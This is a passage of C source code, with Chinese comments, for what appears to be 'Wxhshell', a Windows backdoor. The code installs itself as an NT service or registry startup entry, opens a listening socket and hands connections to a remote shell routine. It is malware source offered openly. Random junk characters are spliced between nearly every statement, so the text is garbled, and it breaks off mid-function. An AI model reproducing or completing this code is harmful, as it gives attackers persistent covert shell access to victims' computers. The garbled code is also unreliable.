|a5Qxz hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); V y$\.2= if(hProcess==NULL) return 0; u:$x,Q `R^VK-=C HMODULE hMod; =|/b[Gd( char procName[255]; I%`2RXBt3^ unsigned long cbNeeded; tB.9Ov* Ygb#U'| if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); D![Twlll {ar}.U CloseHandle(hProcess); ptcU_*Gd xB#E&}Ho if(strstr(procName,"services")) return 1; // 以服务启动 cAS5&T< HS7!O return 0; // 注册表启动 -_(! } T}* '9TB hV)I
C9 // 主模块 MRc^lYj{
int StartWxhshell(LPSTR lpCmdLine) 19 _F\32 { 5YasD6l SOCKET wsl; zD'gGxM1 BOOL val=TRUE; Jo ^o`9 int port=0; [nrP;
_ struct sockaddr_in door; L~~aW0, zoU.\]#C if(wscfg.ws_autoins) Install(); 57r)&8 .IgQn|N port=atoi(lpCmdLine); jQhf)B 03PVbDq- if(port<=0) port=wscfg.ws_port; =Ao;[j)*! I~I%z'"RQd WSADATA data; F
7=-k/k if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; -uZ^UG!K iu .{L(m if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; NKRXY~zHh setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 7~&Y"& door.sin_family = AF_INET; ~Y(M>u.+! door.sin_addr.s_addr = inet_addr("127.0.0.1"); @?U5t1O< door.sin_port = htons(port); @tA.^k0` S^u!/ =& if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { v3p..A~XZ. closesocket(wsl); j.K yPWO return 1; ,\M'jV"SK } ?g&]*zc^\ {SJLM0=Z if(listen(wsl,2) == INVALID_SOCKET) { c?d#Bj ? closesocket(wsl); TJ<PT return 1; E$T#o{pai } jL# ak V Wxhshell(wsl); *=8)]_=f WSACleanup(); +2?[=g4;} ?/\;K1c p return 0; C"}x=cK xl3U } !l~hO ra3WLK // 以NT服务方式启动 @P-7a`3* VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) A28w/=e7 { 3O.-'U1K DWORD status = 0; khR3[ju {^ DWORD specificError = 0xfffffff; I'gnw~ "~ /3 serviceStatus.dwServiceType = SERVICE_WIN32; D7@10;F}[ serviceStatus.dwCurrentState = SERVICE_START_PENDING; ^V:YNUqp# serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; &Fi8@0Fh serviceStatus.dwWin32ExitCode = 0; Um~jp:6p serviceStatus.dwServiceSpecificExitCode = 0; }MX`WW0\]Z serviceStatus.dwCheckPoint = 0; ~?p
> L serviceStatus.dwWaitHint = 0; ms$o,[ [Xrq+O, hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); cE3co(j if (hServiceStatusHandle==0) return; 5IepVS(>?v g^idS:GtX5 status = GetLastError(); LCG< if (status!=NO_ERROR) _YY)-H { }LRAe3N%8 serviceStatus.dwCurrentState = SERVICE_STOPPED; I4*N serviceStatus.dwCheckPoint = 0; ^Iz.O serviceStatus.dwWaitHint = 0; }XUHP% serviceStatus.dwWin32ExitCode = status; ?:ZH%R_`a serviceStatus.dwServiceSpecificExitCode = specificError; ,iyIF~1~#> SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]:njP3r return; 0MOAd!N } L \$zr,=C |!|`Je3 K serviceStatus.dwCurrentState = SERVICE_RUNNING; 0K!9MDT}* serviceStatus.dwCheckPoint = 0; yP-Dj
, serviceStatus.dwWaitHint = 0; I}:/v$btM if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); *n47.(a2i } 97g\nq< iPIA&)x}
// 处理NT服务事件,比如:启动、停止 wK3}K VOID WINAPI NTServiceHandler(DWORD fdwControl) V*?,r< |